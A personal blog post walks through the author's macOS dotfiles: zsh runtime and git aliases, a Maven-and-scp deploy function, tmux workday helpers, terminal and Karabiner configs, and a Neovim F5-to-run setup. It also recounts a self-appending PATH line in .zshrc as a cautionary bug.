<p>The file is split into roughly four parts: PATHs and language managers, oh-my-zsh setup, custom functions, and aliases. Here are the parts that actually do work.</p>

<p><strong>Java toggling.</strong> I use both Java 17 and 21 depending on which project I’m in. The simplest version of “version manager” I could justify:</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Java 17</span>
<span class="nb">export </span><span class="nv">JAVA_HOME</span><span class="o">=</span><span class="s2">"/usr/local/opt/openjdk@17/libexec/openjdk.jdk/Contents/Home"</span>
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="nv">$JAVA_HOME</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span>

<span class="c"># Java 21</span>
<span class="c"># export JAVA_HOME="/usr/local/opt/openjdk@21/libexec/openjdk.jdk/Contents/Home"</span>
<span class="c"># export PATH="$JAVA_HOME/bin:$PATH"</span>
</code></pre></div></div>

<p>Comment one out, uncomment the other, source the file. I tried <code class="language-plaintext highlighter-rouge">jenv</code> for a while and got tired of fighting it. For a two-version setup, two lines and a comment beat a tool.</p>

<p><strong>Other runtimes.</strong> NVM for Node, pyenv for Python, rbenv for Ruby. The pattern is the same every time:</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">export </span><span class="nv">PYENV_ROOT</span><span class="o">=</span><span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/.pyenv"</span>
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="s2">"</span><span class="nv">$PYENV_ROOT</span><span class="s2">/bin:</span><span class="nv">$PATH</span><span class="s2">"</span>
<span class="nb">eval</span> <span class="s2">"</span><span class="si">$(</span>pyenv init -<span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">eval</code> is the magic step — it injects a shim into the shell so that calling <code class="language-plaintext highlighter-rouge">python</code> actually goes through the version-manager’s lookup, not straight to <code class="language-plaintext highlighter-rouge">/usr/bin/python</code>.</p>

<p><strong>Oh My Zsh.</strong> Theme <code class="language-plaintext highlighter-rouge">robbyrussell</code> (the default, the one with the arrow prompt that turns red on a failed command), <code class="language-plaintext highlighter-rouge">git</code> plugin for completions, vi keybindings via <code class="language-plaintext highlighter-rouge">bindkey -v</code>. That’s it. I keep being tempted by powerlevel10k and keep deciding I don’t actually need it.</p>

<p><strong>Git aliases.</strong> These get used hundreds of times a day:</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">alias </span><span class="nv">ga</span><span class="o">=</span><span class="s1">'git add .'</span>
<span class="nb">alias </span><span class="nv">gr</span><span class="o">=</span><span class="s1">'git restore --staged .'</span>
<span class="nb">alias </span><span class="nv">gc</span><span class="o">=</span><span class="s1">'git commit -m'</span>
<span class="nb">alias </span><span class="nv">gp</span><span class="o">=</span><span class="s1">'git push'</span>
<span class="nb">alias </span><span class="nv">gl</span><span class="o">=</span><span class="s1">'git pull'</span>
<span class="nb">alias </span><span class="nv">gs</span><span class="o">=</span><span class="s1">'git status'</span>
<span class="nb">alias </span><span class="nv">glog</span><span class="o">=</span><span class="s1">'git log --oneline --graph --all --decorate'</span>
<span class="nb">alias </span><span class="nv">gco</span><span class="o">=</span><span class="s1">'git checkout'</span>
<span class="nb">alias </span><span class="nv">gcb</span><span class="o">=</span><span class="s1">'git checkout -b'</span>
<span class="nb">alias </span><span class="nv">glc</span><span class="o">=</span><span class="s1">'git log -1 --stat'</span>
</code></pre></div></div>

<p>The one I want to call out is <code class="language-plaintext highlighter-rouge">glog</code> — <code class="language-plaintext highlighter-rouge">--oneline --graph --all --decorate</code> is the four-flag combo that turns <code class="language-plaintext highlighter-rouge">git log</code> into the branch-diagram view that every git GUI tries to replicate. Once you’ve typed <code class="language-plaintext highlighter-rouge">glog</code> once, you stop needing a GUI to “see the shape” of the repo.</p>

<hr />

<h2 id="4-zshrc--the-interesting-half-deployment--tmux-session-helpers">4. <code class="language-plaintext highlighter-rouge">zshrc</code> — the interesting half: deployment + tmux session helpers</h2>

<p>The custom functions are where the file earns its keep.</p>

<p><strong>One-key deployment to a remote Tomcat.</strong> I deploy WARs to three different servers. Each used to be: <code class="language-plaintext highlighter-rouge">cd</code> into the project, run <code class="language-plaintext highlighter-rouge">mvn clean package</code>, then <code class="language-plaintext highlighter-rouge">scp</code> the WAR to the right path. Four commands, easy to do in the wrong order. Now:</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>upload_to_prod_a<span class="o">()</span> <span class="o">{</span>
    <span class="nv">PROJECT_DIR</span><span class="o">=</span><span class="s2">"</span><span class="nv">$HOME</span><span class="s2">/Documents/Github/main-api"</span>
    <span class="nv">WAR_PATH</span><span class="o">=</span><span class="s2">"</span><span class="nv">$PROJECT_DIR</span><span class="s2">/target/main-api.war"</span>

    <span class="nb">echo</span> <span class="s2">"Building the project..."</span>
    <span class="nb">cd</span> <span class="s2">"</span><span class="nv">$PROJECT_DIR</span><span class="s2">"</span> <span class="o">||</span> <span class="o">{</span> <span class="nb">echo</span> <span class="s2">"Project directory not found"</span><span class="p">;</span> <span class="k">return </span>1<span class="p">;</span> <span class="o">}</span>
    mvn clean package <span class="o">||</span> <span class="o">{</span> <span class="nb">echo</span> <span class="s2">"Build failed"</span><span class="p">;</span> <span class="k">return </span>1<span class="p">;</span> <span class="o">}</span>

    <span class="nb">echo</span> <span class="s2">"Deploying WAR to remote server..."</span>
    scp <span class="s2">"</span><span class="nv">$WAR_PATH</span><span class="s2">"</span> deploy@prod-a:/opt/tomcat/webapps/ <span class="o">||</span> <span class="se">\</span>
        <span class="o">{</span> <span class="nb">echo</span> <span class="s2">"Deployment failed"</span><span class="p">;</span> <span class="k">return </span>1<span class="p">;</span> <span class="o">}</span>

    <span class="nb">echo</span> <span class="s2">"Deployment completed successfully!"</span>
<span class="o">}</span>
</code></pre></div></div>

<p>Two important things going on here:</p>

<ol>
  <li>Each step <code class="language-plaintext highlighter-rouge">|| { … return 1; }</code> — if the build fails, I never get to the <code class="language-plaintext highlighter-rouge">scp</code>. That’s the whole reason this is a function and not three aliases.</li>
  <li>The <code class="language-plaintext highlighter-rouge">scp</code> target is <code class="language-plaintext highlighter-rouge">prod-a</code>, not an IP. That short name resolves because of <code class="language-plaintext highlighter-rouge">~/.ssh/config</code>, which is the <em>other</em> file that makes this whole setup work. (I’ll do a <code class="language-plaintext highlighter-rouge">.ssh/config</code> post separately — it’s its own thing.)</li>
</ol>

<p>There’s also a <code class="language-plaintext highlighter-rouge">_with_backup</code> variant, which does the same dance but first SSHes into the box and copies the current WAR into a timestamped <code class="language-plaintext highlighter-rouge">webservices_backup/</code> folder. That came out of one production rollback I never want to repeat.</p>

<p><strong><code class="language-plaintext highlighter-rouge">tmux-dev</code> — boot a whole workday.</strong> This is my favourite function in the entire file. Running <code class="language-plaintext highlighter-rouge">tmux-dev</code> does this:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Window 0: nvim     (in ~/projects)
Window 1: workspace (empty shell in $HOME)
Window 2: alibaba-icm (split: tail catalina.out / shell on the server)
Window 3: hetzner     (split: tail catalina.out / shell on the server)
Window 4: eosium-cpp  (cd'd into my C++ side project)
Window 5: P-8080      (mvn spring-boot:run -Plocal in the local API)
</code></pre></div></div>

<p>It checks <code class="language-plaintext highlighter-rouge">tmux has-session -t dev-hub</code> first, so running it a second time just <em>attaches</em> to the existing session instead of rebuilding it. Cold start in the morning: open WezTerm, type <code class="language-plaintext highlighter-rouge">tmux-dev</code>, the whole workspace materialises — backend running, two server log tails ready, editor in the right folder. Closing the laptop lid doesn’t kill any of it.</p>

<p>There are also <code class="language-plaintext highlighter-rouge">tmux-hetzner</code> and <code class="language-plaintext highlighter-rouge">tmux-alibaba-icm</code> for when I only need <em>one</em> of those server windows on its own.</p>

<hr />

<h2 id="5-the-runaway-path--a-small-horror-story">5. The runaway PATH — a small horror story</h2>

<p>Near the top of my <code class="language-plaintext highlighter-rouge">zshrc</code> I have, inexplicably:</p>

<div class="language-zsh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'export PATH="/Applications/Postgres.app/Contents/Versions/latest/bin:$PATH"'</span> <span class="o">&gt;&gt;</span> ~/.zshrc
</code></pre></div></div>

<p>That line does <strong>not</strong> export the PATH. It <em>appends another export line to the file itself</em>. Every time I open a terminal, the file gets one line longer. I wrote it months ago when I was setting up Postgres.app and somehow combined “add this line to your shell config” with “I’ll do it from inside the shell config.” Predictable result: the file is now ~990 lines long and ~970 of those lines are the same <code class="language-plaintext highlighter-rouge">export PATH=…postgres…</code> line stacked on top of each other.</p>

<p>The shell doesn’t actually care — re-exporting the same PATH is a no-op — so nothing visibly broke. I only noticed when I went to add a new alias and had to scroll past the wall of duplicates to find the right spot.</p>

<p>The fix is a one-liner (<code class="language-plaintext highlighter-rouge">export PATH="/Applications/Postgres.app/Contents/Versions/latest/bin:$PATH"</code> — no <code class="language-plaintext highlighter-rouge">echo</code>, no <code class="language-plaintext highlighter-rouge">&gt;&gt; ~/.zshrc</code>), and then delete the duplicates. I’ve left the file as-is in this post on purpose, because <strong>the lesson is the interesting part</strong>: any <code class="language-plaintext highlighter-rouge">&gt;&gt; ~/.zshrc</code> inside <code class="language-plaintext highlighter-rouge">~/.zshrc</code> is a footgun. Shell init files should <em>be</em> the configuration, not <em>modify</em> the configuration.</p>

<hr />

<h2 id="6-two-terminals-alacritty-for-just-run-it-wezterm-for-everything-else">6. Two terminals: Alacritty for “just run it”, WezTerm for everything else</h2>

<p>I have configs for both, and I use both for different reasons.</p>

<p><strong>Alacritty (<code class="language-plaintext highlighter-rouge">alacritty.toml</code>)</strong> — five lines, the whole file:</p>

<div class="language-toml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">[font]</span>
<span class="nn">normal</span> <span class="o">=</span> <span class="p">{</span> <span class="py">family</span> <span class="p">=</span> <span class="s">"JetBrainsMono Nerd Font"</span><span class="p">,</span> <span class="py">style</span> <span class="p">=</span> <span class="s">"Regular"</span> <span class="p">}</span>
<span class="py">size</span> <span class="p">=</span> <span class="mf">15.0</span>

<span class="nn">[window]</span>
<span class="py">startup_mode</span> <span class="p">=</span> <span class="s">"Fullscreen"</span>
</code></pre></div></div>

<p>Font, size, fullscreen on launch. That’s it. Alacritty is what I use when I want a terminal <em>now</em> and I don’t care about tabs, splits, or backdrops. It opens instantly, renders fast, and doesn’t have opinions.</p>

<p><strong>WezTerm (<code class="language-plaintext highlighter-rouge">wezterm.lua</code>)</strong> — multi-file Lua config split into modules:</p>

<div class="language-lua highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">local</span> <span class="n">Config</span> <span class="o">=</span> <span class="nb">require</span><span class="p">(</span><span class="s1">'config'</span><span class="p">)</span>

<span class="nb">require</span><span class="p">(</span><span class="s1">'utils.backdrops'</span><span class="p">)</span>
   <span class="p">:</span><span class="n">set_focus</span><span class="p">(</span><span class="s1">'#000000'</span><span class="p">)</span>
   <span class="p">:</span><span class="n">set_images_dir</span><span class="p">(</span><span class="n">wezterm</span><span class="p">.</span><span class="n">home_dir</span> <span class="o">..</span> <span class="s1">'/.dotfiles/.config/wezterm/backdrops/'</span><span class="p">)</span>
   <span class="p">:</span><span class="n">set_images</span><span class="p">()</span>
   <span class="p">:</span><span class="n">random</span><span class="p">()</span>

<span class="nb">require</span><span class="p">(</span><span class="s1">'events.left-status'</span><span class="p">).</span><span class="n">setup</span><span class="p">()</span>
<span class="nb">require</span><span class="p">(</span><span class="s1">'events.right-status'</span><span class="p">).</span><span class="n">setup</span><span class="p">({</span> <span class="n">date_format</span> <span class="o">=</span> <span class="s1">'%a %H:%M:%S'</span> <span class="p">})</span>
<span class="nb">require</span><span class="p">(</span><span class="s1">'events.tab-title'</span><span class="p">).</span><span class="n">setup</span><span class="p">({</span> <span class="n">hide_active_tab_unseen</span> <span class="o">=</span> <span class="kc">false</span> <span class="p">})</span>

<span class="k">return</span> <span class="n">Config</span><span class="p">:</span><span class="n">init</span><span class="p">()</span>
   <span class="p">:</span><span class="n">append</span><span class="p">(</span><span class="nb">require</span><span class="p">(</span><span class="s1">'config.appearance'</span><span class="p">))</span>
   <span class="p">:</span><span class="n">append</span><span class="p">(</span><span class="nb">require</span><span class="p">(</span><span class="s1">'config.bindings'</span><span class="p">))</span>
   <span class="p">:</span><span class="n">append</span><span class="p">(</span><span class="nb">require</span><span class="p">(</span><span class="s1">'config.domains'</span><span class="p">))</span>
   <span class="p">:</span><span class="n">append</span><span class="p">(</span><span class="nb">require</span><span class="p">(</span><span class="s1">'config.fonts'</span><span class="p">))</span>
   <span class="p">:</span><span class="n">append</span><span class="p">(</span><span class="nb">require</span><span class="p">(</span><span class="s1">'config.general'</span><span class="p">))</span>
   <span class="p">:</span><span class="n">append</span><span class="p">(</span><span class="nb">require</span><span class="p">(</span><span class="s1">'config.launch'</span><span class="p">)).</span><span class="n">options</span>
</code></pre></div></div>

<p>WezTerm is what I use when I’m <em>living</em> in the terminal — the <code class="language-plaintext highlighter-rouge">tmux-dev</code> workday, long-running log tails, working on something for hours. It has tab titles, a clock in the corner, a random backdrop image, and SSH domains so I can open a new tab that’s already SSH’d into a remote host. The Lua config is the heavyweight version; Alacritty’s toml is the featherweight. Same machine, different jobs.</p>

<hr />

<h2 id="7-karabiner--caps-lock-becomes-a-fifth-modifier">7. <code class="language-plaintext highlighter-rouge">karabiner/</code> — Caps Lock becomes a fifth modifier</h2>

<p>macOS has four modifiers: ⌃ ⌥ ⇧ ⌘. Almost every useful combination is already taken by some app. So I added a fifth: pressing <strong>Caps Lock</strong> sends <code class="language-plaintext highlighter-rouge">⌃⌥⇧⌘</code> simultaneously (the “Hyper” key). Nothing on macOS uses all four modifiers together, which makes it a clean shortcut namespace I own.</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span>
  <span class="nl">description</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Caps Lock -&gt; Hyper Key</span><span class="dl">"</span><span class="p">,</span>
  <span class="k">from</span><span class="p">:</span> <span class="p">{</span> <span class="nl">key_code</span><span class="p">:</span> <span class="dl">"</span><span class="s2">caps_lock</span><span class="dl">"</span><span class="p">,</span> <span class="nx">modifiers</span><span class="p">:</span> <span class="p">{</span> <span class="nl">optional</span><span class="p">:</span> <span class="p">[</span><span class="dl">"</span><span class="s2">any</span><span class="dl">"</span><span class="p">]</span> <span class="p">}</span> <span class="p">},</span>
  <span class="nx">to</span><span class="p">:</span> <span class="p">[{</span> <span class="na">set_variable</span><span class="p">:</span> <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">hyper</span><span class="dl">"</span><span class="p">,</span> <span class="na">value</span><span class="p">:</span> <span class="mi">1</span> <span class="p">}</span> <span class="p">}],</span>
  <span class="nx">to_after_key_up</span><span class="p">:</span> <span class="p">[{</span> <span class="na">set_variable</span><span class="p">:</span> <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">"</span><span class="s2">hyper</span><span class="dl">"</span><span class="p">,</span> <span class="na">value</span><span class="p">:</span> <span class="mi">0</span> <span class="p">}</span> <span class="p">}],</span>
  <span class="nx">to_if_alone</span><span class="p">:</span> <span class="p">[{</span> <span class="na">key_code</span><span class="p">:</span> <span class="dl">"</span><span class="s2">escape</span><span class="dl">"</span> <span class="p">}],</span>
  <span class="kd">type</span><span class="p">:</span> <span class="dl">"</span><span class="s2">basic</span><span class="dl">"</span><span class="p">,</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">to_if_alone: escape</code> is the clever bit. If I press Caps Lock <em>and release it without pressing anything else</em>, it acts as Escape. Useful in vim. If I hold it while pressing another key, it’s Hyper. One key, two jobs, no conflict.</p>

<p>With Hyper set up, I have sub-layers:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Hyper + o + i</code> → open IntelliJ</li>
  <li><code class="language-plaintext highlighter-rouge">Hyper + o + s</code> → open Slack</li>
  <li><code class="language-plaintext highlighter-rouge">Hyper + o + t</code> → open Terminal</li>
  <li><code class="language-plaintext highlighter-rouge">Hyper + w + l</code> → snap current window to right-half</li>
  <li><code class="language-plaintext highlighter-rouge">Hyper + w + f</code> → maximize window</li>
  <li><code class="language-plaintext highlighter-rouge">Hyper + s + u</code> / <code class="language-plaintext highlighter-rouge">s + j</code> → volume up / down</li>
</ul>

<p>The config is a TypeScript file (<code class="language-plaintext highlighter-rouge">rules.ts</code>) that compiles down to the JSON Karabiner-Elements actually reads. The TS side is much easier to maintain — I get types, autocomplete, and helpers like <code class="language-plaintext highlighter-rouge">app("Slack")</code> instead of hand-writing JSON. The original rules layout is adapted from a public config (Max Stoiber’s, originally) with the app list rewritten for what I actually use.</p>

<hr />

<h2 id="8-neovim--minimal-initvim-with-one-tmux-trick">8. Neovim — minimal init.vim, with one tmux trick</h2>

<p><code class="language-plaintext highlighter-rouge">~/.config/nvim/init.vim</code> is symlinked to <code class="language-plaintext highlighter-rouge">~/.dotfiles/vimrc/nvim/init.vim</code>. The full config is ~160 lines. Highlights:</p>

<div class="language-vim highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">set</span> <span class="k">number</span>
<span class="k">set</span> <span class="nb">relativenumber</span>
<span class="k">set</span> <span class="nb">clipboard</span><span class="p">=</span>unnamedplus
<span class="k">set</span> <span class="nb">scrolloff</span><span class="p">=</span><span class="m">4</span>

<span class="k">set</span> <span class="nb">tabstop</span><span class="p">=</span><span class="m">2</span>
<span class="k">set</span> <span class="nb">shiftwidth</span><span class="p">=</span><span class="m">2</span>
<span class="k">set</span> <span class="nb">softtabstop</span><span class="p">=</span><span class="m">2</span>
<span class="k">set</span> <span class="nb">expandtab</span>

<span class="k">set</span> <span class="nb">wrap</span>
<span class="k">set</span> <span class="nb">linebreak</span>
<span class="k">set</span> <span class="nb">breakindent</span>
<span class="k">set</span> <span class="nb">showbreak</span><span class="p">=</span>↳\
</code></pre></div></div>

<p>Relative numbers for fast <code class="language-plaintext highlighter-rouge">5j</code>/<code class="language-plaintext highlighter-rouge">10k</code> jumps, system clipboard integration, 2-space indent (I do a lot of YAML and JS), and <strong>soft-wrap with a visible continuation marker</strong> (<code class="language-plaintext highlighter-rouge">↳</code>) so I can see when a “line” is actually one logical line that’s wrapping.</p>

<div class="language-vim highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nnoremap <span class="k">j</span> gj
nnoremap <span class="k">k</span> gk
</code></pre></div></div>

<p>When a line is soft-wrapped, plain <code class="language-plaintext highlighter-rouge">j</code> jumps <em>over</em> the wrapped portion to the next real line. <code class="language-plaintext highlighter-rouge">gj</code> moves down by visual row, which is what I actually want 99% of the time.</p>

<p><strong>Plugins</strong>, via vim-plug:</p>

<div class="language-vim highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Plug <span class="s1">'nanotech/jellybeans.vim'</span>         " <span class="k">colorscheme</span>
Plug <span class="s1">'windwp/nvim-autopairs'</span>           " auto<span class="p">-</span><span class="k">close</span> brackets
Plug <span class="s1">'neoclide/coc.nvim'</span><span class="p">,</span>  <span class="p">{</span><span class="s1">'branch'</span><span class="p">:</span> <span class="s1">'release'</span><span class="p">}</span>  " LSP/intellisense
Plug <span class="s1">'vim-airline/vim-airline'</span>         " <span class="nb">statusline</span>
Plug <span class="s1">'akinsho/bufferline.nvim'</span>         " <span class="k">tabs</span> <span class="k">for</span> <span class="k">buffers</span>
Plug <span class="s1">'junegunn/fzf'</span>                    " fuzzy <span class="k">file</span> finder
Plug <span class="s1">'preservim/nerdtree'</span>              " <span class="k">file</span> tree sidebar
Plug <span class="s1">'mfussenegger/nvim-dap'</span>           " <span class="k">debug</span> adapter protocol
Plug <span class="s1">'rcarriga/nvim-dap-ui'</span>            " debugger UI
</code></pre></div></div>

<p>Coc.nvim is the heavyweight here — it gives me LSP-style completion, jump-to-definition, format-on-save for C/C++:</p>

<div class="language-vim highlighter-rouge"><div class="highlight"><pre class="highlight"><code>autocmd <span class="nb">BufWritePre</span> *<span class="p">.</span><span class="k">c</span><span class="p">,</span>*<span class="p">.</span><span class="nb">cpp</span><span class="p">,</span>*<span class="p">.</span><span class="k">h</span><span class="p">,</span>*<span class="p">.</span>hpp <span class="k">silent</span><span class="p">!</span> <span class="k">call</span> CocAction<span class="p">(</span><span class="s1">'format'</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>The F5-runs-this-file trick.</strong> This is the part I’m proudest of, and it’s barely any code:</p>

<div class="language-vim highlighter-rouge"><div class="highlight"><pre class="highlight"><code>augroup RunFile
  autocmd<span class="p">!</span>
  autocmd <span class="nb">FileType</span> <span class="k">python</span> nnoremap <span class="p">&lt;</span><span class="k">buffer</span><span class="p">&gt;</span> <span class="p">&lt;</span>F5<span class="p">&gt;</span> <span class="p">:</span><span class="k">w</span><span class="p">&lt;</span>CR<span class="p">&gt;:</span><span class="k">silent</span>
<span class="se">    \</span> <span class="p">![</span> $<span class="p">(</span>tmux <span class="k">list</span><span class="p">-</span>panes \<span class="p">|</span> <span class="nb">wc</span> <span class="p">-</span><span class="k">l</span><span class="p">)</span> <span class="p">-</span>eq <span class="m">1</span> <span class="p">]</span> &amp;&amp; tmux <span class="k">split</span><span class="p">-</span><span class="nb">window</span> <span class="p">-</span><span class="k">h</span> <span class="p">-</span><span class="k">p</span> <span class="m">40</span><span class="p">&lt;</span>CR<span class="p">&gt;</span>
<span class="se">    \</span> <span class="p">:</span><span class="k">silent</span> <span class="p">!</span>tmux send<span class="p">-</span><span class="nb">keys</span> <span class="p">-</span><span class="k">t</span> <span class="k">right</span> <span class="s2">"clear; python3 %"</span> C<span class="p">-</span><span class="k">m</span><span class="p">&lt;</span>CR<span class="p">&gt;</span>
<span class="se">    \</span> <span class="p">:</span><span class="k">silent</span> <span class="p">!</span>tmux select<span class="p">-</span>pane <span class="p">-</span><span class="k">t</span> <span class="k">left</span><span class="p">&lt;</span>CR<span class="p">&gt;:</span><span class="k">redraw</span><span class="p">!&lt;</span>CR<span class="p">&gt;</span>

  autocmd <span class="nb">FileType</span> <span class="nb">cpp</span> nnoremap <span class="p">&lt;</span><span class="k">buffer</span><span class="p">&gt;</span> <span class="p">&lt;</span>F5<span class="p">&gt;</span> <span class="p">:</span><span class="k">w</span><span class="p">&lt;</span>CR<span class="p">&gt;:</span><span class="k">silent</span>
<span class="se">    \</span> <span class="p">![</span> $<span class="p">(</span>tmux <span class="k">list</span><span class="p">-</span>panes \<span class="p">|</span> <span class="nb">wc</span> <span class="p">-</span><span class="k">l</span><span class="p">)</span> <span class="p">-</span>eq <span class="m">1</span> <span class="p">]</span> &amp;&amp; tmux <span class="k">split</span><span class="p">-</span><span class="nb">window</span> <span class="p">-</span><span class="k">h</span> <span class="p">-</span><span class="k">p</span> <span class="m">40</span><span class="p">&lt;</span>CR<span class="p">&gt;</span>
<span class="se">    \</span> <span class="p">:</span><span class="k">silent</span> <span class="p">!</span>tmux send<span class="p">-</span><span class="nb">keys</span> <span class="p">-</span><span class="k">t</span> <span class="k">right</span> <span class="s2">"clear; cmake -S . -B build &amp;&amp; cmake --build build &amp;&amp; ./build/eosium"</span> C<span class="p">-</span><span class="k">m</span><span class="p">&lt;</span>CR<span class="p">&gt;</span>
<span class="se">    \</span> <span class="p">:</span><span class="k">silent</span> <span class="p">!</span>tmux select<span class="p">-</span>pane <span class="p">-</span><span class="k">t</span> <span class="k">left</span><span class="p">&lt;</span>CR<span class="p">&gt;:</span><span class="k">redraw</span><span class="p">!&lt;</span>CR<span class="p">&gt;</span>
augroup END
</code></pre></div></div>

<p>What this does, read top-to-bottom:</p>

<ol>
  <li>Save the file (<code class="language-plaintext highlighter-rouge">:w</code>).</li>
  <li>If there’s only one tmux pane in the current window, split off a right-hand pane that takes 40% of the width.</li>
  <li>Send a command into the right pane: <code class="language-plaintext highlighter-rouge">clear; python3 %</code> (where <code class="language-plaintext highlighter-rouge">%</code> is the current file). For C++, it’s a full CMake build + run instead.</li>
  <li>Move focus back to the left pane (where vim still is).</li>
</ol>

<p>Net result: press F5 inside any Python or C++ file, and a side-pane spins up running that file. Edit, F5, see output, edit, F5 — all without leaving vim or touching the mouse. This only works because tmux is <em>already</em> the window manager for the terminal — vim doesn’t need its own terminal emulator, it just borrows tmux’s.</p>

<hr />

<h2 id="whats-not-here-on-purpose">What’s not here, on purpose</h2>

<ul>
  <li><strong>No fish, no powerlevel10k, no starship.</strong> I tried each. They’re nice. They also add a setup step on every new machine and a re-learning step every six months. zsh + oh-my-zsh + <code class="language-plaintext highlighter-rouge">robbyrussell</code> does 90% of what I need, and I can sit down at a fresh <code class="language-plaintext highlighter-rouge">bash</code> shell and still function.</li>
  <li><strong>No tmuxinator / smug.</strong> My <code class="language-plaintext highlighter-rouge">tmux-dev</code> function is ~40 lines of zsh and does exactly what I want. A YAML-config-driven tool would have to be learned, configured, kept up-to-date, and remembered to install on every machine.</li>
  <li><strong>No GUI git client.</strong> <code class="language-plaintext highlighter-rouge">gs</code>, <code class="language-plaintext highlighter-rouge">glog</code>, <code class="language-plaintext highlighter-rouge">gco</code>, and <code class="language-plaintext highlighter-rouge">gcb</code> cover everything I do day-to-day. The one time I want a visual diff, I open IntelliJ.</li>
</ul>

<p>The dotfiles answer the question “what is the smallest amount of customisation that turns a fresh Mac into a workstation I can actually work on?” Everything in <code class="language-plaintext highlighter-rouge">~/.dotfiles</code> exists because, at some point, I noticed I was about to do something annoying for the second time.</p>]]></content><author><name>திலீப் கோனா</name></author><category term="tech" /><summary type="html"><![CDATA[I keep everything that customises my machine inside a single folder: ~/.dotfiles. Nothing in there is exotic, but every file is the result of “I got annoyed once and fixed it.” This post is mostly a tour, written so future-me remembers why the settings are what they are.]]></summary></entry></feed>